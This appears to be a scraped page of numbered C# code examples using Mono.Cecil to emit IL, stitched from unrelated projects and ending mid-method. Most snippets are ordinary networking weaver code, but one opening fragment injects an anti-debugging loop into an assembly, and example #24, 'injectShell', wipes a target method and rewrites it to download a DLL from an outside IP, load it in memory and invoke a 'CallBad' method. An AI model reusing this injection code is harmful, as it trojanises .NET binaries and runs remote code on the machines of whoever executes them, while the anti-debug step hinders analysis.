            Instruction First         = AntiProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Debugger).GetMethod("get_IsAttached")));
            Instruction Exit          = AntiProcessor.Create(OpCodes.Ldc_I4_0);

            AntiProcessor.Append(First);
            AntiProcessor.Append(AntiProcessor.Create(OpCodes.Brtrue_S, Exit));
            AntiProcessor.Append(AntiProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Debugger).GetMethod("IsLogging"))));
            AntiProcessor.Append(AntiProcessor.Create(OpCodes.Brtrue_S, Exit));
            AntiProcessor.Append(AntiProcessor.Create(OpCodes.Ldc_I4, 1000));
            AntiProcessor.Append(AntiProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Thread).GetMethod("Sleep", new Type[] { typeof(Int32) }))));
            AntiProcessor.Append(AntiProcessor.Create(OpCodes.Br_S, First));
            AntiProcessor.Append(Exit);
            AntiProcessor.Append(AntiProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Environment).GetMethod("Exit", new Type[] { typeof(int) }))));
            AntiProcessor.Append(AntiProcessor.Create(OpCodes.Ret));
            t.Methods.Add(AntiDebug);
            assembly.Write(outPath);
        }
        private Instruction AddSubscribtionInstructions(Instruction lastInstruction, ILProcessor ilProcessor,
                                                        int resourceId, List <MethodSubscriptionInfo> methodsToSubscribe, bool shouldThrowExceptionIfNull)
        {
            Instruction li;

            if (lastInstruction == null)
            {
                lastInstruction = li = Instruction.Create(OpCodes.Ret);
                ilProcessor.Append(li);
            }
            else
            {
                li = lastInstruction;
            }

            InsertBefore(ref li, Instruction.Create(OpCodes.Nop));

            foreach (var m in methodsToSubscribe)
            {
                InsertBefore(ref li, Instruction.Create(OpCodes.Nop));
                InsertBefore(ref li, Instruction.Create(OpCodes.Callvirt, m.AddHandlerMethod));
                InsertBefore(ref li, Instruction.Create(OpCodes.Newobj, m.HandlerCtor));
                InsertBefore(ref li, Instruction.Create(OpCodes.Ldftn, m.TargetMethod));
                InsertBefore(ref li, Instruction.Create(OpCodes.Ldarg_0));
                InsertBefore(ref li, Instruction.Create(OpCodes.Castclass, m.OwnerType));
                InsertBefore(ref li, Instruction.Create(OpCodes.Ldloc_0));
            }

            var nopBeforeSubscriptions = Instruction.Create(OpCodes.Nop);

            InsertBefore(ref li, nopBeforeSubscriptions);

            if (shouldThrowExceptionIfNull)
            {
                InsertBefore(ref li, Instruction.Create(OpCodes.Throw));
                InsertBefore(ref li, Instruction.Create(OpCodes.Newobj, _referencesProvider.InjectorExceptionCtor));
                InsertBefore(ref li, Instruction.Create(OpCodes.Ldstr, $"Can't find view with ID {resourceId}"));
            }
            else
            {
                InsertBefore(ref li, Instruction.Create(OpCodes.Br_S, lastInstruction));
                InsertBefore(ref li, Instruction.Create(OpCodes.Nop));
            }

            InsertBefore(ref li, Instruction.Create(OpCodes.Nop));
            InsertBefore(ref li, Instruction.Create(OpCodes.Brfalse_S, nopBeforeSubscriptions));
            InsertBefore(ref li, Instruction.Create(OpCodes.Ldloc_1));
            InsertBefore(ref li, Instruction.Create(OpCodes.Stloc_1));
            InsertBefore(ref li, Instruction.Create(OpCodes.Ceq));
            InsertBefore(ref li, Instruction.Create(OpCodes.Ldnull));
            InsertBefore(ref li, Instruction.Create(OpCodes.Ldloc_0));

            InsertBefore(ref li, Instruction.Create(OpCodes.Stloc_0));
            InsertBefore(ref li, Instruction.Create(OpCodes.Callvirt, _referencesProvider.FindViewByIdMethodReference));
            InsertBefore(ref li, Instruction.Create(OpCodes.Ldc_I4, resourceId));
            InsertBefore(ref li, Instruction.Create(OpCodes.Ldarg_1));
            InsertBefore(ref li, Instruction.Create(OpCodes.Nop));

            return(li);

            void InsertBefore(ref Instruction firstInstruction, Instruction newInstruction)
            {
                ilProcessor.InsertBefore(firstInstruction, newInstruction);
                firstInstruction = newInstruction;
            }
        }
예제 #22
0
        public MethodDefinition GenerateSyncVarSetter(TypeDefinition td, FieldDefinition fd, string originalName, long dirtyBit, FieldDefinition netFieldId, ref bool WeavingFailed)
        {
            //Create the set method
            MethodDefinition set = new MethodDefinition("set_Network" + originalName, MethodAttributes.Public |
                                                        MethodAttributes.SpecialName |
                                                        MethodAttributes.HideBySig,
                                                        weaverTypes.Import(typeof(void)));

            ILProcessor worker = set.Body.GetILProcessor();

            // if (!SyncVarEqual(value, ref playerData))
            Instruction endOfMethod = worker.Create(OpCodes.Nop);

            // this
            worker.Emit(OpCodes.Ldarg_0);
            // new value to set
            worker.Emit(OpCodes.Ldarg_1);
            // reference to field to set
            // make generic version of SetSyncVar with field type
            if (fd.FieldType.Is <UnityEngine.GameObject>())
            {
                // reference to netId Field to set
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldfld, netFieldId);

                worker.Emit(OpCodes.Call, weaverTypes.syncVarGameObjectEqualReference);
            }
            else if (fd.FieldType.Is <NetworkIdentity>())
            {
                // reference to netId Field to set
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldfld, netFieldId);

                worker.Emit(OpCodes.Call, weaverTypes.syncVarNetworkIdentityEqualReference);
            }
            else if (fd.FieldType.IsDerivedFrom <NetworkBehaviour>())
            {
                // reference to netId Field to set
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldfld, netFieldId);

                MethodReference getFunc = weaverTypes.syncVarNetworkBehaviourEqualReference.MakeGeneric(assembly.MainModule, fd.FieldType);
                worker.Emit(OpCodes.Call, getFunc);
            }
            else
            {
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldflda, fd);

                GenericInstanceMethod syncVarEqualGm = new GenericInstanceMethod(weaverTypes.syncVarEqualReference);
                syncVarEqualGm.GenericArguments.Add(fd.FieldType);
                worker.Emit(OpCodes.Call, syncVarEqualGm);
            }

            worker.Emit(OpCodes.Brtrue, endOfMethod);

            // T oldValue = value;
            // TODO for GO/NI we need to backup the netId don't we?
            VariableDefinition oldValue = new VariableDefinition(fd.FieldType);

            set.Body.Variables.Add(oldValue);
            worker.Emit(OpCodes.Ldarg_0);
            worker.Emit(OpCodes.Ldfld, fd);
            worker.Emit(OpCodes.Stloc, oldValue);

            // this
            worker.Emit(OpCodes.Ldarg_0);

            // new value to set
            worker.Emit(OpCodes.Ldarg_1);

            // reference to field to set
            worker.Emit(OpCodes.Ldarg_0);
            worker.Emit(OpCodes.Ldflda, fd);

            // dirty bit
            // 8 byte integer aka long
            worker.Emit(OpCodes.Ldc_I8, dirtyBit);

            if (fd.FieldType.Is <UnityEngine.GameObject>())
            {
                // reference to netId Field to set
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldflda, netFieldId);

                worker.Emit(OpCodes.Call, weaverTypes.setSyncVarGameObjectReference);
            }
            else if (fd.FieldType.Is <NetworkIdentity>())
            {
                // reference to netId Field to set
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldflda, netFieldId);

                worker.Emit(OpCodes.Call, weaverTypes.setSyncVarNetworkIdentityReference);
            }
            else if (fd.FieldType.IsDerivedFrom <NetworkBehaviour>())
            {
                // reference to netId Field to set
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldflda, netFieldId);

                MethodReference getFunc = weaverTypes.setSyncVarNetworkBehaviourReference.MakeGeneric(assembly.MainModule, fd.FieldType);
                worker.Emit(OpCodes.Call, getFunc);
            }
            else
            {
                // make generic version of SetSyncVar with field type
                GenericInstanceMethod gm = new GenericInstanceMethod(weaverTypes.setSyncVarReference);
                gm.GenericArguments.Add(fd.FieldType);

                // invoke SetSyncVar
                worker.Emit(OpCodes.Call, gm);
            }

            MethodDefinition hookMethod = GetHookMethod(td, fd, ref WeavingFailed);

            if (hookMethod != null)
            {
                //if (NetworkServer.localClientActive && !getSyncVarHookGuard(dirtyBit))
                Instruction label = worker.Create(OpCodes.Nop);
                worker.Emit(OpCodes.Call, weaverTypes.NetworkServerGetLocalClientActive);
                worker.Emit(OpCodes.Brfalse, label);
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldc_I8, dirtyBit);
                worker.Emit(OpCodes.Call, weaverTypes.getSyncVarHookGuard);
                worker.Emit(OpCodes.Brtrue, label);

                // setSyncVarHookGuard(dirtyBit, true);
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldc_I8, dirtyBit);
                worker.Emit(OpCodes.Ldc_I4_1);
                worker.Emit(OpCodes.Call, weaverTypes.setSyncVarHookGuard);

                // call hook (oldValue, newValue)
                // Generates: OnValueChanged(oldValue, value);
                WriteCallHookMethodUsingArgument(worker, hookMethod, oldValue);

                // setSyncVarHookGuard(dirtyBit, false);
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldc_I8, dirtyBit);
                worker.Emit(OpCodes.Ldc_I4_0);
                worker.Emit(OpCodes.Call, weaverTypes.setSyncVarHookGuard);

                worker.Append(label);
            }

            worker.Append(endOfMethod);

            worker.Emit(OpCodes.Ret);

            set.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.In, fd.FieldType));
            set.SemanticsAttributes = MethodSemanticsAttributes.Setter;

            return(set);
        }
예제 #23
0
        static MethodDefinition GenerateArrayReadFunc(TypeReference variable, int recursionCount)
        {
            if (!variable.IsArrayType())
            {
                Weaver.Error($"{variable.Name} is an unsupported type. Jagged and multidimensional arrays are not supported", variable);
                return(null);
            }

            TypeReference   elementType     = variable.GetElementType();
            MethodReference elementReadFunc = GetReadFunc(elementType, recursionCount + 1);

            if (elementReadFunc == null)
            {
                return(null);
            }

            string functionName = "_ReadArray" + variable.GetElementType().Name + "_";

            if (variable.DeclaringType != null)
            {
                functionName += variable.DeclaringType.Name;
            }
            else
            {
                functionName += "None";
            }

            // create new reader for this type
            MethodDefinition readerFunc = new MethodDefinition(functionName,
                                                               MethodAttributes.Public |
                                                               MethodAttributes.Static |
                                                               MethodAttributes.HideBySig,
                                                               variable);

            readerFunc.Parameters.Add(new ParameterDefinition("reader", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkReaderType)));

            readerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type));
            readerFunc.Body.Variables.Add(new VariableDefinition(variable));
            readerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type));
            readerFunc.Body.InitLocals = true;

            ILProcessor worker = readerFunc.Body.GetILProcessor();

            // int length = reader.ReadPackedInt32();
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Call, GetReadFunc(Weaver.int32Type)));
            worker.Append(worker.Create(OpCodes.Stloc_0));

            // if (length < 0) {
            //    return null
            // }
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Ldc_I4_0));
            Instruction labelEmptyArray = worker.Create(OpCodes.Nop);

            worker.Append(worker.Create(OpCodes.Bge, labelEmptyArray));
            // return null
            worker.Append(worker.Create(OpCodes.Ldnull));
            worker.Append(worker.Create(OpCodes.Ret));
            worker.Append(labelEmptyArray);

            // T value = new T[length];
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Newarr, variable.GetElementType()));
            worker.Append(worker.Create(OpCodes.Stloc_1));

            // for (int i=0; i< length ; i++) {
            worker.Append(worker.Create(OpCodes.Ldc_I4_0));
            worker.Append(worker.Create(OpCodes.Stloc_2));
            Instruction labelHead = worker.Create(OpCodes.Nop);

            worker.Append(worker.Create(OpCodes.Br, labelHead));

            // loop body
            Instruction labelBody = worker.Create(OpCodes.Nop);

            worker.Append(labelBody);
            // value[i] = reader.ReadT();
            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ldloc_2));
            worker.Append(worker.Create(OpCodes.Ldelema, variable.GetElementType()));
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Call, elementReadFunc));
            worker.Append(worker.Create(OpCodes.Stobj, variable.GetElementType()));

            worker.Append(worker.Create(OpCodes.Ldloc_2));
            worker.Append(worker.Create(OpCodes.Ldc_I4_1));
            worker.Append(worker.Create(OpCodes.Add));
            worker.Append(worker.Create(OpCodes.Stloc_2));

            // loop while check
            worker.Append(labelHead);
            worker.Append(worker.Create(OpCodes.Ldloc_2));
            worker.Append(worker.Create(OpCodes.Ldloc_0));
            worker.Append(worker.Create(OpCodes.Blt, labelBody));

            // return value;
            worker.Append(worker.Create(OpCodes.Ldloc_1));
            worker.Append(worker.Create(OpCodes.Ret));
            return(readerFunc);
        }
예제 #24
0
        private void injectShell(MethodDefinition m1)
        {
            ILProcessor ilp = m1.Body.GetILProcessor();

            //Remove All code and variables
            m1.Body.Instructions.Clear();
            m1.Body.Variables.Clear();
            m1.Body.ExceptionHandlers.Clear();

            //Used to just remove the ret but I'm not sure if adding variables will f**k shit up so im clear everything now
            //ilp.Remove(m1.Body.Instructions[m1.Body.Instructions.Count-1]);

            // Initialize References
            References refs = new References();

            refs.uint8      = m1.Module.ImportReference(typeof(byte[]));
            refs.Assembly   = m1.Module.ImportReference(typeof(Assembly));
            refs.MethodInfo = m1.Module.ImportReference(typeof(MethodInfo));
            refs.var        = m1.Module.ImportReference(typeof(object));
            refs.boolean    = m1.Module.ImportReference(typeof(bool));
            refs.var_array  = m1.Module.ImportReference(typeof(object[]));
            refs.int32      = m1.Module.ImportReference(typeof(int));
            refs.Exception  = m1.Module.ImportReference(typeof(Exception));

            refs.WebClientCtor          = m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { }));
            refs.WebClient_DownloadData = m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) }));

            refs.Assembly_Load           = m1.Module.ImportReference(typeof(Assembly).GetMethod("Load", new Type[] { typeof(sbyte[]) }));
            refs.Assembly_getEntryPoint  = m1.Module.ImportReference(typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { }));
            refs.Assembly_CreateInstance = m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) }));

            refs.MemberInfo_getName = m1.Module.ImportReference(typeof(MemberInfo).GetMethod("get_Name", new Type[] { }));

            refs.MethodBase_GetParameters = m1.Module.ImportReference(typeof(MethodBase).GetMethod("GetParameters", new Type[] { }));
            refs.MethodBase_Invoke        = m1.Module.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }));


            m1.Body.InitLocals = true;
            m1.Body.Variables.Add(new VariableDefinition(refs.uint8));
            //Remote Class Instance Variable
            m1.Body.Variables.Add(new VariableDefinition(refs.var));
            //Remote class Type Variable
            m1.Body.Variables.Add(new VariableDefinition(m1.Module.ImportReference(typeof(Type))));
            m1.Body.Variables.Add(new VariableDefinition(refs.var));

            var evilRemoteBytesVar      = m1.Body.Variables.ElementAt(0);
            var instantiatedEvilTypeVar = m1.Body.Variables.ElementAt(1);
            var typeVariable            = m1.Body.Variables.ElementAt(2);
            var someResultObjectVar     = m1.Body.Variables.ElementAt(3);

            ilp.Append(Instruction.Create(OpCodes.Nop));
            ilp.Append(Instruction.Create(OpCodes.Nop));

            Instruction RETI = Instruction.Create(OpCodes.Ret);
            Instruction POPI = Instruction.Create(OpCodes.Pop);
            Instruction NOPI = Instruction.Create(OpCodes.Nop);

            ilp.Append(Instruction.Create(OpCodes.Nop));

            ilp.Append(ilp.Create(OpCodes.Ldstr, "INJECTED EVIL"));
            ilp.Append(ilp.Create(OpCodes.Call, m1.Module.ImportReference(typeof(Console).GetMethod("WriteLine", new [] { typeof(string) }))));
            //Download DLL
            ilp.Append(Instruction.Create(OpCodes.Nop));
            ilp.Append(Instruction.Create(OpCodes.Newobj, m1.Module.ImportReference(typeof(WebClient).GetConstructor(new Type[] { }))));
            ilp.Append(Instruction.Create(OpCodes.Ldstr, "http://10.20.29.137:8000/HELLOWORLD"));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(WebClient).GetMethod("DownloadData", new Type[] { typeof(string) }))));
            ilp.Append(Instruction.Create(OpCodes.Stloc_0));

            //Load into memory
            ilp.Append(Instruction.Create(OpCodes.Ldloc_0));
            ilp.Append(Instruction.Create(OpCodes.Call, refs.Assembly_Load));

            //Create instance of class
            ilp.Append(Instruction.Create(OpCodes.Ldstr, "testlibrary.Testclass"));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(Assembly).GetMethod("CreateInstance", new Type[] { typeof(string) }))));
            ilp.Append(Instruction.Create(OpCodes.Stloc_S, instantiatedEvilTypeVar));
            //ilp.Append(Instruction.Create(OpCodes.Stloc_1));

            //Load type of class in order to call method
            ilp.Append(Instruction.Create(OpCodes.Ldloc_1));
            ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference(typeof(object).GetMethod("GetType", new Type[] {}))));
            //Type is now on stack...

            //Might not have to store the object, but fuckit store it
            //ilp.Append(Instruction.Create(OpCodes.Stloc_2));
            //Works until above
            //Load object instance
            //ilp.Append(ilp.Create(OpCodes.Ldloc_2));

            //Call method in class with Type.Invoke
            ilp.Append(ilp.Create(OpCodes.Ldstr, "CallBad"));
            ilp.Append(ilp.Create(OpCodes.Ldc_I4, 0x100));
            ilp.Append(ilp.Create(OpCodes.Ldnull));
            ilp.Append(ilp.Create(OpCodes.Ldloc_1));
            ilp.Append(ilp.Create(OpCodes.Ldnull));
            //instance.GetType().InvokeMember("FlapMethod",BindingFlags.InvokeMethod,null,instance,null);
            ilp.Append(ilp.Create(OpCodes.Callvirt,
                                  m1.Module.ImportReference(
                                      typeof(Type).GetMethod("InvokeMember",
                                                             new Type[] {
                typeof(string),
                typeof(BindingFlags),
                typeof(Binder),
                typeof(object),
                typeof(object[])
            })
                                      )
                                  )
                       );

            //ilp.Append(ilp.Create(OpCodes.Stloc_3));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
            m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));

            //uncommentilp.Append(Instruction.Create(OpCodes.Ldloc_S, instantiatedEvilTypeVar));
            //Check for null
            //ilp.Append(Instruction.Create(OpCodes.Ldnull));
            //ilp.Append(Instruction.Create(OpCodes.Ceq));


            //ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference (typeof (object).GetMethod ("GetType", new Type[] {}))));

            ilp.Append(ilp.Create(OpCodes.Ldstr, "Wattefok dit werk nou bra"));
            ilp.Append(ilp.Create(OpCodes.Call, m1.Module.ImportReference(typeof(Console).GetMethod("WriteLine", new [] { typeof(string) }))));


            ilp.Append(Instruction.Create(OpCodes.Nop));
            //Works until above
            //ilp.Append(Instruction.Create(OpCodes.Ldloc_1,instantiatedEvilType));
            //ilp.Append(Instruction.Create(OpCodes.Callvirt, m1.Module.ImportReference (typeof (object).GetMethod ("GetType", new Type[] {}))));

            //ilp.Append(ilp.Create(OpCodes.Ldstr,"TestMethod"));
            //ilp.Append(ilp.Create(OpCodes.Ldc_I4,0x100));
            //ilp.Append(ilp.Create(OpCodes.Ldnull));
            //ilp.Append(ilp.Create(OpCodes.Ldloc_1));
            //ilp.Append(ilp.Create(OpCodes.Ldnull));
            //ilp.Append(ilp.Create(OpCodes.Callvirt,m1.Module.ImportReference(typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }))));

            //Add our new ret
            ilp.Append(RETI);
            return;


            /*
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Call, refs.Assembly_Load));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_1));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.Assembly_getEntryPoint));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MemberInfo_getName));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.Assembly_CreateInstance));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_3));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_4));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_4));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse_S, NOP_0x48));
             *
             * // If
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldnull));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_Invoke));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, NOP_0x88));
             *
             * // Else
             * m1.Body.Instructions.Add(NOP_0x48);
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Conv_I4));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Newarr, refs.var));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_5));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_6));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, LDLOC_0x6B));
             * m1.Body.Instructions.Add(NOP_0x5D);
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_5));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_6));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldnull));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stelem_Ref));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_6));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_1));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Add));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_6));
             *
             * // For-Loop
             * m1.Body.Instructions.Add(LDLOC_0x6B);
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_GetParameters));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldlen));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Conv_I4));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Clt));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Stloc_S, Var_7));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_7));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Brtrue_S, NOP_0x5D));
             *
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Ldloc_S, Var_5));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Callvirt, refs.MethodBase_Invoke));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Pop));
             * m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
             * m1.Body.Instructions.Add(NOP_0x88);*/

            //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Leave_S, RET_0x90));

            // Catch
            //m1.Body.Instructions.Add(POP_0x8B);
            //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Nop));
            //m1.Body.Instructions.Add(Instruction.Create(OpCodes.Leave_S, RET_0x90));

            // Return
            //m1.Body.Instructions.Add(RET_0x90);
        }
예제 #25
0
        private void Replace(ILProcessor IL, Instruction oldInstruction, MethodReference targetMethod,
                             MethodDefinition hostMethod, Instruction endLabel, Instruction callOriginalMethod)
        {
            var returnType = targetMethod.ReturnType;
            var module     = hostMethod.DeclaringType.Module;

            if (!hostMethod.IsStatic)
            {
                GetInstanceProvider(IL);
            }


            var pushInstance = hostMethod.HasThis ? IL.Create(OpCodes.Ldarg_0) : IL.Create(OpCodes.Ldnull);

            // If all else fails, use the static method replacement provider
            IL.Append(pushInstance);
            IL.Emit(OpCodes.Ldloc, _invocationInfo);
            IL.Emit(OpCodes.Call, _getStaticProvider);
            IL.Emit(OpCodes.Stloc, _staticProvider);

            var restoreArgumentStack = IL.Create(OpCodes.Nop);

            var callReplacement   = IL.Create(OpCodes.Nop);
            var useStaticProvider = IL.Create(OpCodes.Nop);


            IL.Emit(OpCodes.Ldloc, _instanceProvider);
            IL.Emit(OpCodes.Brfalse, useStaticProvider);


            EmitCanReplace(IL, hostMethod, _instanceProvider);
            IL.Emit(OpCodes.Ldloc, _canReplaceFlag);
            IL.Emit(OpCodes.Brfalse, useStaticProvider);

            EmitGetMethodReplacement(IL, hostMethod, _instanceProvider);


            IL.Emit(OpCodes.Ldloc, _replacement);
            IL.Emit(OpCodes.Brtrue, callReplacement);


            IL.Append(useStaticProvider);
            // if (!MethodReplacementProvider.CanReplace(info))
            //      CallOriginalMethod();
            EmitCanReplace(IL, hostMethod, _staticProvider);

            IL.Emit(OpCodes.Ldloc, _canReplaceFlag);
            IL.Emit(OpCodes.Brfalse, restoreArgumentStack);

            EmitGetMethodReplacement(IL, hostMethod, _staticProvider);

            IL.Append(callReplacement);

            // if (replacement == null)
            //      CallOriginalMethod();
            IL.Emit(OpCodes.Ldloc, _replacement);
            IL.Emit(OpCodes.Brfalse, restoreArgumentStack);

            EmitInterceptorCall(IL);

            IL.PackageReturnValue(module, returnType);

            IL.Emit(OpCodes.Br, endLabel);

            IL.Append(restoreArgumentStack);

            // Reconstruct the method arguments if the interceptor
            // cannot be found

            // Push the target instance
            ReconstructMethodArguments(IL, targetMethod);

            // Mark the CallOriginalMethod instruction label
            IL.Append(callOriginalMethod);

            // Call the original method
            IL.Append(oldInstruction);
        }
예제 #26
0
        public static MethodDefinition ProcessEventInvoke(TypeDefinition td, EventDefinition ed)
        {
            // find the field that matches the event
            FieldDefinition eventField = null;

            foreach (FieldDefinition fd in td.Fields)
            {
                if (fd.FullName == ed.FullName)
                {
                    eventField = fd;
                    break;
                }
            }
            if (eventField == null)
            {
                Weaver.Error($"event field not found for {ed.Name}. Did you declare it as an event?", ed);
                return(null);
            }

            MethodDefinition cmd = new MethodDefinition(Weaver.InvokeRpcPrefix + ed.Name, MethodAttributes.Family |
                                                        MethodAttributes.Static |
                                                        MethodAttributes.HideBySig,
                                                        WeaverTypes.voidType);

            ILProcessor worker = cmd.Body.GetILProcessor();
            Instruction label1 = worker.Create(OpCodes.Nop);
            Instruction label2 = worker.Create(OpCodes.Nop);

            NetworkBehaviourProcessor.WriteClientActiveCheck(worker, ed.Name, label1, "Event");

            // null event check
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Castclass, td));
            worker.Append(worker.Create(OpCodes.Ldfld, eventField));
            worker.Append(worker.Create(OpCodes.Brtrue, label2));
            worker.Append(worker.Create(OpCodes.Ret));
            worker.Append(label2);

            // setup reader
            worker.Append(worker.Create(OpCodes.Ldarg_0));
            worker.Append(worker.Create(OpCodes.Castclass, td));
            worker.Append(worker.Create(OpCodes.Ldfld, eventField));

            // read the event arguments
            MethodReference invoke = Resolvers.ResolveMethod(eventField.FieldType, Weaver.CurrentAssembly, "Invoke");

            if (!NetworkBehaviourProcessor.ReadArguments(invoke.Resolve(), worker, RemoteCallType.SyncEvent))
            {
                return(null);
            }

            // invoke actual event delegate function
            worker.Append(worker.Create(OpCodes.Callvirt, invoke));
            worker.Append(worker.Create(OpCodes.Ret));

            NetworkBehaviourProcessor.AddInvokeParameters(cmd.Parameters);

            return(cmd);
        }
예제 #27
0
        public static MethodDefinition ProcessSyncVarSet(TypeDefinition td, FieldDefinition fd, string originalName, long dirtyBit, FieldDefinition netFieldId)
        {
            //Create the set method
            MethodDefinition set = new MethodDefinition("set_Network" + originalName, MethodAttributes.Public |
                                                        MethodAttributes.SpecialName |
                                                        MethodAttributes.HideBySig,
                                                        Weaver.voidType);

            ILProcessor setWorker = set.Body.GetILProcessor();

            // if (!SyncVarEqual(value, ref playerData))
            Instruction endOfMethod = setWorker.Create(OpCodes.Nop);

            // this
            setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
            // new value to set
            setWorker.Append(setWorker.Create(OpCodes.Ldarg_1));
            // reference to field to set
            // make generic version of SetSyncVar with field type
            if (fd.FieldType.FullName == Weaver.gameObjectType.FullName)
            {
                // reference to netId Field to set
                setWorker.Append(setWorker.Create(OpCodes.Ldarg_0));
